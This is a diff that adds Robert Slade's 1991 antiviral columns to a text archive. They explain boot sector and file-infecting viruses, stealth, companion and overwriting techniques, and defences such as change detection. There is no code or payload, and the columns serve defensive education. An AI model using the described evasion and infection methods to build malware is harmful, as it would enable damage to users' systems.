sector contains further information about the +structure of the disk. It, or a subsequent linked sector, also describes +the location of further operating system files. This description is in +the form of a program, rather than simply data. Because this outline is +in the form of a program, and because this sector is "writable", in order +to allow for different structures, the boot record or sector is +vulnerable to attack or change. Boot sector infecting programs may +overwrite either the boot record or the boot sector, and may or may not +move the original boot sector or record to another location on disk. The +repositioning of the original sector's program allows the viral program +to "pretend" that everything is as it was. + +This pretence is not absolute. A computer with an active viral program +resident will, of necessity, be different in some way from the normal +environment. The original sector position will, of course, have +different information in it. The viral program will need to "hook" +certain vectors for its own use in order to monitor activity within the +computer and in order to function. The viral program will have to occupy +a certain portion of memory, and may be identified by a memory map, or, +in the case of the Stoned virus, may try to hide by "telling" the +computer that it has less memory than is actually the case. + +These tell-tale indicators are not absolute. There may be various +reasons why the "top of memory" marker is set to less than 640K. Each +different type of disk drive, and each drive of the same type which is +partitioned differently, will have a different boot record. As operating +systems or versions change, so will the boot sector. Therefore, the +environment of newly booted machines cannot, in isolation, be examined +and said to be infected or free from infection. + +It is possible, however, to compare any machine with itself in a "known +clean" state. By saving information on the environment after a minimal +clean boot, and comparing this with subsequent boots, changes can be +detected, and the user alerted to a potential problem. Since a boot +sector infector can only infect a machine if the machine is booted from +an infected disk, it is also possible to replace the boot record with a +non-standard one, in order to prevent access to the hard disk unless +booted from the hard disk. + +copyright Robert M. Slade, 1991 FUNBOT2.CVP 910918 \ No newline at end of file diff --git a/textfiles.com/virus/funbot3.cvp b/textfiles.com/virus/funbot3.cvp new file mode 100644 index 00000000..b6026dbb --- /dev/null +++ b/textfiles.com/virus/funbot3.cvp @@ -0,0 +1,58 @@ +FUNBOT3.CVP 910918 + + Boot sequence - part 2 + +Obtaining the state of the environment immediately after the boot sector +has been run is not as easy as it might sound at first. The computer, +while functional, does not have all parts of the operating system +installed at this point, and it is the "higher" levels of the operating +system that users generally interact with. + +The last section of the boot sector program points to the files or areas +on the disk in which to find the next step of the operating system. At +this point the specific files and subsequent steps start to change from +one operating system to another. However, it is fairly common for all +operating systems to have "hidden" files along this route which may be +subject to viral attack. Given that the files are not evident to the +user, they are more subject, not to attack, but to an undetected change. + +When setting up antiviral defences, it is important to know the sequence +of events in the boot process in order to know which programs will +protect to which level. The MS-DOS sequence provides the clearest +example, and those knowledgeable in other systems can use the examples it +provides in order to analyze the specific details of their own systems. + +After the master boot record and boot sector proper have been run, MS-DOS +normally runs two additional programs which set up input/output routines +and the most basic operating system. (As these programs are called by +the boot sector, it is possible to re-route this process to call +specialized driver programs first, or with them. Some esoteric disk +drives use such a process.) Traditionally, these files have "hidden" +attributes and are not visible to the user on the disk. After they have +run, the system has sufficient programming to interpret a text file which +contains listings of various additional programming which the user wishes +to have in order to run specialized hardware. This file, CONFIG.SYS, is +the first point at which the intermediate user may normally affect the +boot process, and is the first point at which antiviral software may be +easily installed. As can be seen, however, there are a number of prior +points at which viral programs may gain control of the computer. + +After the programs listed in CONFIG.SYS are run, the command interpreter +is invoked. The standard MS-DOS interpreter is COMMAND.COM, but this may +be changed by an entry in the CONFIG.SYS file. After COMMAND.COM is run, +the AUTOEXEC.BAT batch file is run, if it exists. AUTOEXEC.BAT is the +most commonly created and modified "boot file", and many users, and +antiviral program authors, see this as the point at which to intervene. +It should be clear by now, however, that many possible points of +intervention are open before the AUTOEXEC.BAT is run. + +In spite of the greater number of entry points, viral programs which +attack the programs of the boot sequence are rare, and not greatly +successful. For one thing, while very disk has a boot sector, not every +disk has a full boot sequence. For another, different versions of a +given operating system may have different files in this sequence. (For +example, the "hidden" files have different names in MS-DOS, PC-DOS and +DR-DOS.) Finally, viral programs which can infect ordinary programs +files may not work on boot sequence files, and vice versa. + +copyright Robert M. Slade, 1991 FUNBOT3.CVP 910918 \ No newline at end of file diff --git a/textfiles.com/virus/fungen1.cvp b/textfiles.com/virus/fungen1.cvp new file mode 100644 index 00000000..09275322 --- /dev/null +++ b/textfiles.com/virus/fungen1.cvp @@ -0,0 +1,56 @@ +FUNGEN1.CVP 910727 + + Computer operations and viral operations + +Having defined what viral programs are, let's look at what +computers are, and do, briefly. The functions that we ask of +computers tend to fall into a few general categories. + +Computers are great at copying. This makes them useful for +storing and communicating data, and for much of the "information +processing" that we ask them to do, such as word processing. +Computers are also great for the automation of repetitive tasks. +Programming allows computers to perform the same tasks, in the +same way, with only one initiating call. Indeed, we can, on +occasion, eliminate the need for the call, as programs can be +designed to make "decisions" on the basis of data available. +Finally, computer processors need not be specially built for +each task assigned to them: computers are multi-purpose tools +which can do as many jobs as the programs available to them. + +All computer operations and programs are comprised of these +three components: copying, automatic operation, "decision" +making: and, in various combinations, can fulfill many +functions. It is no coincidence that it is these same functions +which allow computer viral programs to operate. + +The first function of a viral program is to reproduce. In other +words, to copy. This copying operation must be automatic, since +the operator is not an actively informed party to the function. +In most cases, viral program must come to some decision aobut +when and whether to infect a program or disk, or when to deliver +a "payload". All of these operations must be performed +regardless of the purpose for which the specific computer is +intended. + +It should thus be clear that computer viral programs use the +most basic of computer functions and operations. It should also +be clear that no additional functions are necessary for the +operation of viral programs. Taking these two facts together, +noone should be surprised at the conclusion reached a number of +years ago that not only is it extremely difficult to +differentiate computer viral programs from valid programs, but +that there can be no single identifying feature that can be used +for such distinction. Without running the program, or +simulating its operation, there is no way to say that this +program is viral and that one is valid. + +The fact that computer viral operations are, in fact, the most +basic of computer operations means that it is very difficult to +defend against intrusion by viral programs. In terms of +"guaranteed protection" we are left with Jeff Richards' Laws of +Data Security: + 1) Don't buy a computer. + 2) If you do buy a computer, don't turn it on. + +copyright Robert M. Slade, 1991 FUNGEN1.CVP 910729 \ No newline at end of file diff --git a/textfiles.com/virus/fungen2.cvp b/textfiles.com/virus/fungen2.cvp new file mode 100644 index 00000000..4c0ed830 Binary files /dev/null and b/textfiles.com/virus/fungen2.cvp differ diff --git a/textfiles.com/virus/fungen3.cvp b/textfiles.com/virus/fungen3.cvp new file mode 100644 index 00000000..f378d286 --- /dev/null +++ b/textfiles.com/virus/fungen3.cvp @@ -0,0 +1,53 @@ +FUNGEN3.CVP 910811 + + Viral use of operating systems + +Viral programs use basic computer functions in more ways than +one. It is easier to use standard system calls for purposes +such as accessing disks and writing files or formatting. Most +programs use the standard operating system calls, rather than +write their own system function when "using" the hardware. For +one thing, it's more "polite" to do this with applications +programs, which, if they follow "the rules" will be better +"behaved" when it comes to other programs, particularly resident +programs and drivers. But it is also easier to use system +functions than write your own. + +Operating system functions are generally accessible if you know +the memory address at which the function starts, or the specific +"interrupt" that invokes it. Viral programs can use this fact +in two possible ways. + +The first is to use the standard system calls in order to +perform the copying, writing or destructive actions. This, +however, has unfortunate consequences for the viral author (and +fortunate for the computer community) in that it is easy to +identify these system calls within program code. Therefore, if +viral programs used only this method of operation, it would be +possible to write a "universal" virus scanner which would be +able to identify any potentially damaging code. It would also +be possible to write programs which "trapped" all such system +calls, and allowed the user to decide whether a particular +operation should proceed. (In fact, in the MS-DOS world, two +such programs, BOMBSQAD and WORMCHEK, are available, and were +used to check for early trojan programs.) + +Operating systems are, however, programs, and therefore it is +possible for any program, including any viral program, to +implement a completely different piece of code which writes +directly to the hardware. The "Stoned" virus has used this very +successfully. + +Unfortunately, viral programs have even more options, one of +which is to perform the same "trapping" functions themselves. +Viral programs can trap all functions which perform disk access +in order to hide the fact that the virus is copying itself to +the disk under the "cover" of a directory listing. Viral +programs can also trap system calls in order to evade detection. +Some viri will "sense" an effort to "read" the section of memory +that they occupy, and will cause the system to hang. Others +trap all reading of disk information and will return only the +"original" information for a file or disk: the commonly named +"stealth" viral technology. + +copyright Robert M. Slade, 1991 FUNGEN3.CVP 910811 \ No newline at end of file diff --git a/textfiles.com/virus/fungen4.cvp b/textfiles.com/virus/fungen4.cvp new file mode 100644 index 00000000..74945a65 --- /dev/null +++ b/textfiles.com/virus/fungen4.cvp @@ -0,0 +1,52 @@ +FUNGEN4.CVP 910819 + + Hiding in System Layers + +One additional use that viral programs can make of operating +systems is as a source of hiding places. + +Anyone who has ever tried to manage accounts on mainframes or +local area networks will recognize that there is a constant +battle between the aspects of security and "user friendliness" in +computer use. This tension arises from the definition of the two +functions: if a computer is easy to use, it is easy to misuse. +If a password is hard to guess, it is hard to remember. If +access to information is simple for the owner, it is simple for +the "cracker". + +(This axiom often gives rise to two false "corollaries". First, +the reverse; that those systems which are difficult to use must +therefore be more secure; does not hold. Secondly, many assume +that restricting the availability of information about a system +will make that system secure. While this strategy will work in +the short term, its effectiveness as protection is limited. +Indeed, it often has the unfortunate side effect of restricting +information to those who should have it, such as systems +managers, while slowing the "attackers" only marginally.) + +"User friendly" programs and operating systems tend to hide +information from the user. There are two reasons for this. In +order to reduce "clutter", and the amount of information that a +user needs to operate a given system, it is necessary to remove +options, and therefore, to a certain extent, functionality. A +user friendly system is also more complex in terms of it's own +programming. In order for the computer to behave "intuitively", +it must be able to provide for the many "counter-intuitive" ways +that people work. Therefore the most basic levels of a graphical +user interface system tend to be more complex than the +corresponding levels of a command line interface system, and are +hidden from the user by additional intervening layers (which also +tend to add more complexity.) + +The additional layers in an operating system, and the fact that +a great deal of management takes place automatically, without the +user's awareness, is an ideal situation for a viral program. +Since many legitimate and necessary operations and changes are +performed without the user being aware of it, viral operations +can also proceed at a level completely hidden from the user. +Also, because the user is basically unaware of the structure and +operations of the computer, changes to that structure and +operation are difficult to detect. + +copyright Robert M. Slade, 1991 FUNGEN4.CVP 910819 + \ No newline at end of file diff --git a/textfiles.com/virus/fungen5.cvp b/textfiles.com/virus/fungen5.cvp new file mode 100644 index 00000000..49474e32 --- /dev/null +++ b/textfiles.com/virus/fungen5.cvp @@ -0,0 +1,57 @@ +FUNGEN5.CVP 910828 + + Viral activation + +In attempting to protect against viral infection, and +particularly when trying to disinfect systems, it is important to +bear in mind the times that the virus is actively "infectious". +The viral activation is not the same as the activation of the +payload that a virus may carry. For example, the payload of the +original "Stoned" virus was a message which appeared on the +screen saying "Your PC is now Stoned!". This message only +appears at boot time, and on only one eighth of the times the +computer is rebooted. The virus, however, is infectious at all +times, if it has infected the hard disk. + +There are basically three possibilities for the infectious +period: now ("one-shot"), during program run ("while called") or +from now on (resident). These periods may be modified by other +circumstances. A resident virus may remain in memory, but only +be actively infecting when a disk is accessed. A "while called" +virus may only infect a new program when a directory is changed. + +"One-shot" viri only get one chance on each "run" of the infected +program. The viral code will seek out and infect a target +program. They then pass control to the original program, and +perform no further functions. These are, of course, the simplest +of the viral programs. Mainframe "mail" viri are generally of +this type. + +The second class will activate when the infected program is +called, and then pass partial control to the original program. +The virus, however, will remain operational during the time that +the infected program is running. If this can be accomplished, it +is only a slight jump to write a fully memory resident virus. + +Resident viri are the most successful, and the most dangerous, of +viral programs. A resident virus will become active when an +infected program is run (or at boot time for boot sector +infectors), and remain active until the computer is rebooted or +turned off. (Some viral programs are even able to trap the +rebooting sequence that is normally called when you press Ctrl- +Alt-Del on an MS-DOS PC, and thus are able to survive a "warm +boot.") The most successful of the file infectors, the Jerusalem +virus, is resident, as are all boot sector infectors. (For +fairly obvious reasons; the boot sector is never "called" in +normal operation.) + +If a virus is active in memory, it is a waste of time trying to +disinfect a file or disk. No sooner is the file "cleaned", than +it becomes a suitable target for re-infection. You may try to +disinfect a hard disk right down to performing a low level +format: as soon as the disk is reformatted it may be infected all +over again. This is why all directions for disinfection stress +the necessity of "cold" booting from a disk that is known to be +free of infection before attempting any cleanup. + +copyright Robert M. Slade, 1991 FUNGEN5.CVP 910828 \ No newline at end of file diff --git a/textfiles.com/virus/fungen6.cvp b/textfiles.com/virus/fungen6.cvp new file mode 100644 index 00000000..b516ead4 --- /dev/null +++ b/textfiles.com/virus/fungen6.cvp @@ -0,0 +1,57 @@ +FUNGEN6.CVP 911101 + + Change detection + +A virus has to change *something*. + +This fact is absolutely fundamental to the operation of computer +viral programs, and therefore, in a sense, provides a guaranteed +form of virus prevention or detection. If we make a machine +that cannot change anything (and the disadvantages of this have +been thoroughly discussed) we can prevent infection. If any +change made can be detected, then any infection can be detected, +although discriminating between an infection and a valid change +remains problematic. + +It is interesting to note that the early antiviral programs, at +least the most widely used ones, relied first upon activity +monitoring and then signature scanning. Nowadays almost all +antiviral programs implement some version of automated change +detection. The detection of the first viri, and the ongoing +research into new strains, relies almost entirely on "manual" +methods of change detection. + +This method of detection is available to anyone who has a +computer and the most basic tools of the operating system. It +is, of course, made somewhat easier with the more advanced +"utility" programs available on the market, but the best defence +remains a thorough knowledge of your computer, and what it is +supposed to be doing. + +A knowledge of what programs are on the computer, and a list of +file sizes and creation dates is a simple piece of protection +requiring no special programs whatsoever. This one simple tool, +however, can provide detection of most file infecting viri. It +will even detect "stealth" viri if the computer is booted from a +clean system disk before the check is made. + +DEBUG is provided with every copy of MS-DOS, and can be used to +view, and make a copy of, the boot record of every disk. +(Partition boot records of hard disks are beyond the reach of +DEBUG, but within the reach of F-PBR, from 1.xx versions of +FPROT.) + +Memory maps (and hex dumps of boot sectors) are not easy to +read, even for experienced, but non-programming, users. +However, it is not necessary that the user understand all the +entries in a boot sector or memory map. It is only necessary +that the user have a printout of a run of, say, MEM/C in an +initially clean state, and then be able to spot a difference in +a subsequent run of the program. + +In reality, of course, most users will not take the time and +trouble to check for changes in the system. Most users want a +program which will do it for them, and preferably one which will +do the checking automatically, and alert them to anything wrong. + +copyright Robert M. Slade, 1991 FUNGEN6.CVP 911101 \ No newline at end of file diff --git a/textfiles.com/virus/fungen7.cvp b/textfiles.com/virus/fungen7.cvp new file mode 100644 index 00000000..bb55054b --- /dev/null +++ b/textfiles.com/virus/fungen7.cvp @@ -0,0 +1,56 @@ +FUNGEN7.CVP 911113 + + File checking + +Most file infecting viral programs can be checked for quite +simply, and without any special programs or equipment. +Provided, that is, that the computer user will pay the most +minimal attention to the system, and take the most basic +precautions. + +The simplest form of antivirus detection "equipment" is a list +of all the programs to be run on the computer, with the size and +"last changed date" for each. (The list for "resource" based +systems such as the Macintosh will, of necessity, be somewhat +larger, and must include all "code" resources on the disk.) +With some few (albeit important) exceptions, programs should +never change their size or file date. Any changes that are +made, should be at the request of the user, and thus easy enough +to spot as exceptions. + +While "stealth" technology of various types has been applied to +viral programs, the most common (and successful) viri, to the +date of this writing, have not used it. Most change the size of +the file, and generally do it in such a standardized fashion +that the "infective length" of the virus is often used as an +identification of the specific viral program. The file date is +changed less often, but is sometimes deliberately "used" by the +virus as an indicator to prevent reinfection. (One used the +value of "31" in the seconds field, which is presumably why the +later 1.xx versions of F-PROT all had dates ending in 31. +Another used the "impossible" value of 62.) + +Even when stealth techniques are used, they generally require +that the virus itself be running for the measures to be +effective. We thus come to the second piece of antiviral +equipment; the often cited "known clean boot disk". This is a +bootable system (floppy) disk, created under "sterile" +conditions and known to be free of any viral program infection, +and write protected so as to be free from possible future +contamination. When the computer is "booted" from this disk, +the hard disk boot sector and system areas can be bypassed so as +to prevent "stealth" programs from passing "false data" about +the state of the system. + +Viral protection can thus start with these simple, and +non-technical provisions. Starting with a known-clean system, +the list can be checked regularly for any discrepancies. The +"clean disk" can be used to "cold boot" the system before these +checks for added security. Checks should be performed before +and after any changes made to software, such as upgrades or new +programs. + +Security does not, of course, end here. This is only a very +simple first line of defence. + +copyright Robert M. Slade, 1991 FUNGEN7.CVP 911113 \ No newline at end of file diff --git a/textfiles.com/virus/fungen8.cvp b/textfiles.com/virus/fungen8.cvp new file mode 100644 index 00000000..3084321c --- /dev/null +++ b/textfiles.com/virus/fungen8.cvp @@ -0,0 +1,58 @@ +FUNGEN8.CVP 911115 + + File checking - part 2 + +Historically, it is interesting to note that, initially, +operation monitoring and restricting software was the preferred +means of antiviral protection. Subsequently signature scanning +software became more prevalent, and currently holds dominance in +terms of number of programs in use. Change detection software, +however, has recently become very popular and, from my reviews +of software, at least, now leads in terms of number of different +programs implementing the technique. + +The most basic type of change detection program could simply +automate the process of manual file checking outlined in the +previous column. However, this would not catch "overwriting" +viri, as long as they did not change the file date. Therefore, +most change detection software performs some type of "image +checking" as well. + +"Image", "numerical" or "statistical" file checking is based on +calculations performed on the data making up the file. At its +most rudimentary, this is based on the "checksum". As the name +suggests, this is nothing more than a check of the "summing" of +all data in the file, or sometimes the modulus of that sum. +More complex is the CRC or "cyclic redundancy check", which +performs more complex calculations on matrices of the data. +(This is done in a fashion similar to the Hamming encoding used +for error detection and correction.) + +It would be fairly simple for an overwriting virus to calculate +the checksum for a given file, and then to modify the code of +the infected file in such a way that the checksum would still +match. This is the reason for some of the more complex +calculations which are implemented. + +While the initial checking of files is fairly standard, there +are a wide variety of implementations for the subsequent +checking of files. The original information must, of course, be +stored somewhere. Some programs create a single file for this, +others attach the information to the program to be protected. +Each means has advantages and disadvantages. A single file +means a single entity which virus authors may find out about and +"target". Attaching of data to programs which may be altered +means that the calculated codes may be altered or erased as +well. Sometimes small modules of code are attached to the +programs in order to allow the programs to check themselves. +Unfortunately, adding such modules to programs which already +check themselves for changes may prevent the programs from +running. (Norton AntiVirus stores the information in a number +of hidden, 77 byte files, with names similar to that of the +protected file. This caused a number of users to suspect that +the results of Norton's protection were actually the results of +a virus. One fairly unique ploy is used by "Victor Charlie", +which, in its earliest incarnation, simply offered itself as +"bait" to viral programs -- and then checked itself.) + +copyright Robert M. Slade, 1991 FUNGEN8.CVP 911115 \ No newline at end of file diff --git a/textfiles.com/virus/fungen9.cvp b/textfiles.com/virus/fungen9.cvp new file mode 100644 index 00000000..6d6a808a --- /dev/null +++ b/textfiles.com/virus/fungen9.cvp @@ -0,0 +1,52 @@ +FUNGEN9.CVP 911127 + + System checking + +The measures described in the previous two columns will detect +file infecting viral programs (within limits.) However, a very +large class, or perhaps a number of sub-classes, of viral +programs do not make any changes to program files on the disk. + +Boot sector infectors replace or move the "boot program" +resident on almost every disk. Although these viri are +extremely common, surprisingly few "change detectors" bother to +make any check of this area at all. One reason may be that a +number of computers make regular changes to the boot sector for +various purposes. + +"Companion" viri, while they are associated with certain +programs, do not make any changes to existing program files at +all. Similar claims can be made for "system" viri, such as the +DIR-II virus, which leaves the file intact, but changes the +directory entry in order that the virus, which "officially" does +not exist on the disk, gets called first. + +It is, therefore, necessary to check much more than the size and +image of the individual program files on the disk in order to +detect viral infections. The boot sector (and master/partition +boot record) should be checked, although it is possible that a +certain area should be excluded from checking in the case of +certain computers. A check on the total number of programs, and +names, should also be kept separate from the system directory. +A copy of the directory and file allocation table should also be +kept, especially in regard to program files. + +System memory, and the allocation of system interrupts, should +also be checked. This is problematic during normal operations, +as programs tend to use, and sometimes not fully release, areas +of memory and interrupts as they work. Therefore, the best time +to do such checking is at boot time, even before drivers and +programs have loaded from the startup files. (DISKSECURE does +this to great effect. So did F-PROT's F-DRIVER.SYS -- which led +to unfortunate conflicts with MS-DOS 5.0. The security +programmer's lot is not an easy one, with virus writers, +legitimate programs and even operating systems continually +finding new and "interesting" ways to do things.) It is also +possible, however, and quite desirable, to take a "snapshot" of +memory immediately after the startup sequence. This should be +able to detect any changes made to programs involved in the boot +sequence, as well as other changes. (It may also "catch" +program traps which "redirect" a "warm" boot in order to avoid +disk security devices.) + +copyright Robert M. Slade, 1991 FUNGEN9.CVP 911127 \ No newline at end of file diff --git a/textfiles.com/virus/fungena.cvp b/textfiles.com/virus/fungena.cvp new file mode 100644 index 00000000..f2f03d47 --- /dev/null +++ b/textfiles.com/virus/fungena.cvp @@ -0,0 +1,56 @@ +FUNGENA.CVP 911202 + + Detection avoidance + +Viral programs have almost no defence at all against +disinfection. 99% of viri are almost trivially simple to get +rid of, simply by replacing the "infected" file (or boot sector) +with an original copy. (Some more recent boot sector and system +viri require slightly more knowledge in order to perform +effective disinfection: none require drastic measures.) Far +from their image as the predators of the computer world, viral +programs behave much more like prey. Their survival is +dependant upon two primary factors: reproductive ability and +avoidance of detection. + +Using the standard system calls to modify a file leaves very +definite traces. The change in a file "creation" or "last +modified" date is probably more noticeable than a growth in file +size. File size is rather meaningless, whereas dates and times +do have significance for users. Changing the date back to its +original value, however, is not a significant programming +challenge. + +Adding code while avoiding a change in file size is more +difficult, but not impossible. Overwriting existing code and +adding code to "unused" portions of the file or disk are some +possible means. (The fictional rogue program P1, in Thomas +Ryan's "The Adolesence of P1", avoided problems of detection by +analyzing and rewriting existing code in such a manner that the +programs were more compact and ran more efficiently. Such +activity has not yet, alas, been discovered in any existing +virus.) + +Some viral programs, or rather, virus authors, rely on +psychological factors. There are a number of examples of viri +which will not infect program files under a certain minimum +size, knowing that an additional 2K is much more noticeable on a +5K utility than on a 300K spreadsheet. + +In a sense these are all "stealth" technologies, but this term +is most often used for programs which attempt to avoid detection +by trapping calls to read the disk and "lying" to the +interrogating program. By so doing, they avoid any kind of +detection which relies upon perusal of the disk. The disk gives +back only that information regarding file dates, sizes and +makeup which were appropriate to the original situation. (This +also relies upon the virus being "active" at the time of +checking.) Although this method avoids any kind of "disk" +detection, including checksumming and signature scanning, it +leaves traces in the computer's memory which can be detected. +(Some viral programs also try to "cover their tracks" by +watching for any analysis of the area they occupy in memory and +crashing the system, but this tends to be noticeable behaviour +... ) + +copyright Robert M. Slade, 1991 FUNGENA.CVP 911202 \ No newline at end of file diff --git a/textfiles.com/virus/funpiv1.cvp b/textfiles.com/virus/funpiv1.cvp new file mode 100644 index 00000000..7e48569e --- /dev/null +++ b/textfiles.com/virus/funpiv1.cvp @@ -0,0 +1,47 @@ +FUNPIV1.CVP 911006 + + File infecting viri + +File, or program, infecting viral programs, while possibly not as +numerous as boot sector infectors in terms of actual infections, +represent the greatest number of known viral strains, at least in +the MS-DOS world. This may be due to the fact that file infectors +are not as constrained in size as BSIs, or that file infectors do +not require the detailed knowledge of system "internals" which may +be necessary for effective boot sector viri. + +File infecting viri spread by adding code to existing executable +files. They have the potential to become active when an infected +program is run. Whereas boot sector infectors must be memory +resident in order to spread, file infecting programs have more +options in terms of infection. This means that there is greater +range in the scope for writing file infecting viri, but it also +means that there may be fewer opportunities for a given virus to +reproduce itself. + +File infecting viral programs must, of necessity, make some kind of +change in the target file. If normal DOS calls are used to write +to it the file creation date will be changed. If code is added to +it, the file size will change. Even if areas of the file are +overwritten in such a way that the file length remains unchanged, +a parity, checksum, cyclic redundancy or Hamming code check should +be able to detect the fact that there has been some change. The +Lehigh and Jerusalem viri, the first to become widely known to the +research community on the Internet, were both initially identified +by changes they made to target files (the Jerusalem being widely +known by its length as "1813".) "Change detection", therefore, +remains one of the most popular means of virus detection on the +part of antiviral software producers. + +Because change detection is a means of virus detection that +requires no sophisticated programming (in some cases, no +programming at all), virus writers have attempted to camouflage +changes where they can. It is not a difficult task to avoid making +changes to the file creation date, or to return the date to its +original value. It is possible to "overlay" the original code of +the program, so that the file is not increased in size. Most +recently, virus authors have been using "stealth" programming: a +means of "shortcutting" the operating system, and returning only +the original, unchanged, values at any request for information. + +copyright Robert M. Slade, 1991 FUNPIV1.CVP 911006 \ No newline at end of file diff --git a/textfiles.com/virus/funpiv2.cvp b/textfiles.com/virus/funpiv2.cvp new file mode 100644 index 00000000..e7e2cd4c --- /dev/null +++ b/textfiles.com/virus/funpiv2.cvp @@ -0,0 +1,48 @@ +FUNPIV2.CVP 911006 + + Viral code insertion + +There are four ways to attach code to an existing program: +overwrite existing program code, add code to the beginning of the +program, add code to the end of the program and not add code to the +existing program. + +Overwriting viral programs are a very simplistic answer to the +problem of how to add code to an existing program without changing +the file size. By simply overlaying code which is already on the +disk, the original size remains unchanged. There are a few +problems with this approach. + +The first is the problem of how to get the virus "called" when the +infected program is run. If the code is just inserted anywhere, it +may not be in a part of the program that gets used every time the +program is run. (Every programmer is aware of the Pareto +Principle's application here: 20 percent of the code does 80 +percent of the work. Some code never gets called at all.) It is +possible, by an analysis of the code of the target program, to find +an "entry point" which is used extensively. It is also possible, +and a lot easier, to place a jump at the beginning of the program +which points to the viral code. + +The second problem is much more difficult to deal with. If the +virus code overwrites existing portions of the program code, how do +you know the loss of that program code is not fatal to the target +program? Analysis of this type, on the original code, would be +very difficult indeed. "Successful" overwriting viri tend to be +short, and to look for extensive strings of NUL characters to +replace. (The NUL characters tend to be used to "reserve" stack +space, and thus are not vital to the program.) Even if the +original code is not vital to the program, it may, if replaced, +cause the program to exhibit strange behaviours, and thus lead to +detection of the viral infection. + +Thus, while overwriting viri solve the problem of file size, they +bring with them some inherent problems which appear, at this time, +to severely limit their effectiveness "in the wild". To this date, +while many overwriting viri have been written, none have enjoyed +great "success", or become a widespread and major problem. + +(The Zen-like nature of the opening paragraph will be explained in +future columns.) + +copyright Robert M. Slade, 1991 FUNPIV2.CVP 911006 \ No newline at end of file diff --git a/textfiles.com/virus/funpiv3.cvp b/textfiles.com/virus/funpiv3.cvp new file mode 100644 index 00000000..dc578493 --- /dev/null +++ b/textfiles.com/virus/funpiv3.cvp @@ -0,0 +1,51 @@ +FUNPIV3.CVP 911013 + + Viral code addition + +In order to avoid damage to the original program, which might +lead to detection of the infection, the viral code can be added +to the beginning or end of the program. (Or not attached at +all.) + +Adding code at the beginning of the original program ensures +that the viral code is run whenever the program is run. (This +also ensures that the virus is run before the program runs. The +virus thus has priority in terms of operation, possible +conflicts and detection.) With the addition of code to the +beginning of the program, it is possible to avoid any change to +the original code. It *is* necessary to alter the file/disk +allocation table, at least, in order to ensure that the program +"call" starts with the viral code, and that the viral code is +not overwritten by other changes to the disk or files. While +the original code may be left unchanged, the file will be, +essentially, altered, and, unless techniques are used to +disguise this, will show a different creation date, size and +image. + +It is also, however, possible to add viral code to the end of +the original program, and still ensure that the viral code is +run before that of the original program. All that is necessary +is to alter the file header information to reflect the fact that +you want to start executing the file towards the end, rather +than at the normal location. At the end of the viral code +another jump returns operation to the original program. + +(This kind of operation is not as odd as it may sound. It is +not even uncommon. A legacy from the days of mainframe "paging" +of memory, it is used in a great many MS-DOS executables, either +in single .EXE files or in overlays. It is, therefore, not a +coding indication that can be used to identify viral type +programs or infected files.) + +Appending, or prepending, viral code to an existing program +therefore avoids the problems of damage and potential failure to +run which plague overwriting viral programs. Even these viral +programs, however, are not foolproof. Programs which load in +very non-standard ways, such as KEA's "Zstem" terminal emulation +program, use the header information which the viral programs +alter. Although not originally designed for virus detection, +the "Program abort - invalid file header" message thus generated +is an indication of viral infection. Sometimes the first +indication that users have. + +copyright Robert M. Slade, 1991 FUNPIV3.CVP 911014 \ No newline at end of file diff --git a/textfiles.com/virus/funpiv4.cvp b/textfiles.com/virus/funpiv4.cvp new file mode 100644 index 00000000..b5803908 --- /dev/null +++ b/textfiles.com/virus/funpiv4.cvp @@ -0,0 +1,57 @@ +FUNPIV4.CVP 911020 + + Viral code "association" + +The simplest way for a viral program to avoid the detection that +results from modifying the code of an existing program is not to +modify the original program. This is an elementary solution, +but would seem to have the drawback that, unless you do change +the file in some way, the virus will never be called. + +There is a "solution" to this problem, and (if I may be allowed +some enthusiasm for the concept, if not the reprehensible act) a +rather elegant one at that. + +In a given situation, computers may be presented with a number +of possible courses of action. The action taken first is +decided by pre-programmed precedence. A number of programs may +have very similar names, leading to potential confusion about +which one is to be run in a given invocation. In the case of +MS-DOS, for example, SET.COM, SET.EXE and SET.BAT are all +"executable" files. In the normal course of events, any one +could be invoked by giving the command "SET". If all three +files exist, which one is to be run? + +The precedence of program invocation under MS-DOS is that .COM +files are first, .EXE second and .BAT last. If three files of +the same name do exist, this does not imply that all three will +be run in that sequence, but rather that giving the command +"SET" will always invoke only the SET.COM file. + +A certain class of viral programs; known variously as +"companion", "spawning" or "precedence" viri; use this feature +of the operating system. They "infect" a file with an .EXE +extension simply by creating another file with the same name, +but a .COM extension. Thus the .COM file is always executed in +place of the original .EXE file. The original file remains +unchanged, and no manner of "change detection" will tell you any +different. (In order to further avoid detection the viral file +will generally end with a very specific "call" to the original +program, and the viral program has the "hidden" attribute set. +In the Macintosh and other GUI operating systems, it is possible +for a virus to take precendence by "overlaying" an existing icon +with another which is either transparent or identical to the +first.) + +Fortunately, companion viri are by no means perfect. For one +thing, they are limited to those programs which are "lower" in +the order of precedence. For another, the "hidden" attribute is +relatively easy to overcome (particularly in MS-DOS), and an +alphabetical listing of files will quickly turn up the anomaly +of identical names. Of the antiviral packages tested so far, no +change detector alerts to duplicate names, although many may +alert the user by asking the user to "validate" a file that has +been in use for some time. It will probably not be long, +however, before this is a common feature. + +copyright Robert M. Slade, 1991 FUNPIV4.CVP 911020 \ No newline at end of file diff --git a/textfiles.com/virus/funpiv5.cvp b/textfiles.com/virus/funpiv5.cvp new file mode 100644 index 00000000..9c260096 --- /dev/null +++ b/textfiles.com/virus/funpiv5.cvp @@ -0,0 +1,56 @@ +FUNPIV5.CVP 911030 + + Infection variations + +This months columns have dealt with a number of possible ways +that computer viral programs may infect program files. +Unfortunately the overwriters, prependers, appenders and +companions mentioned do not exhaust the possibilities. + +(By the way, this week's column is basically courtesy of +Vesselin Bontchev, who did all the research.) + +In discussing overwriting viri I mentioned, by concept although +not by name, the Zerohunt virus, which looks for a string of nul +characters of sufficient length to accommodate it. However, +there is also the Nina virus, which overwrites the beginning of +a file, and the Phoenix family, which overwrites a random +section of a file, both of which append the overwritten part to +the end. The Number of the Beast/512 virus and 1963 both +overwrite the beginning of the file and then move the contents +of the overwritten section beyond the *physical* end of the file +into a portion of the last cluster the file occupies. Because +the clusters are always of a fixed size, and because it is very +unusual for a file to exactly match a "multiple of cluster" +size, there is generally some space there which is, essentially, +invisible to the operating system. + +In the world of prependers, a similar consideration is used by +the Rat virus. EXE file headers are always a multiple of 512 +bytes, so there is often an unused block of space in the header +itself, which the Rat assumes. The Suriv 2.01 works a bit +harder: it moves the body of the file and inserts itself between +the header and original file, and then changes the relocation +information in the header. + +Then there is the DIR II. The viral code is written to one +section of the disk ... and then the directory and file +allocation information is altered in such a way that all +programs seem to start in that one section of the disk. Because +of the convoluted way this virus works, it is possible to "lose" +all the 